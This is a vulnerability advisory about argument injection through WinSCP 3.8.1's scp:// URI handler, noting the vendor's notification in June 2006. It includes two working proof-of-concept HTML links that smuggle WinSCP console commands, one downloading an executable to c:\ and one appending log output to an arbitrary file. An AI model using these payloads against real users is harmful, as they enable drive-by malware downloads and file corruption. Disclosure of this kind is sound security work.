WinSCP - URI Handler Command Switch Parsing
About winscp :
WinSCP is an open source freeware SFTP client for Windows using SSH. Legacy SCP protocol is also supported. Its main function is safe copying of files between a local and a remote computer.
Versions affected :
It was tested on WinSCP 3.8.1 , previous versions may or may not be affected
During a typical installation of winscp several URI handlers are installed. (scp:// sftp://) It is possible to include additional command line switches to be passed to winscp
Some of these switches may initiate a file transfer, sending a specified file to an arbitrary ftp. or they may download executables to a location on a pc where they would be executed. eg. the startup folder
If you create an html page with these contents
<a href="scp://user:password@host:22/%22%20/console%20/command%20%22lcd% 20c:\%22%20%22get%201.exe%22%20exit">download malware.exe</a>
And click on the link it would automatically download malware.exe to a c:\ (asuming the host is in the cache otherwise user interaction is required)
<a href="scp://email@example.com:22/%22%20%22/log=c:%5csomefile% 22"log</a>
would append log output to c:\somefile possibly rendering the file unusable in the process. Note that this also works when the host is not in the cache
Vendor status :
Martin Prikryl was notified June 04, 2006, He will "think about a solution"
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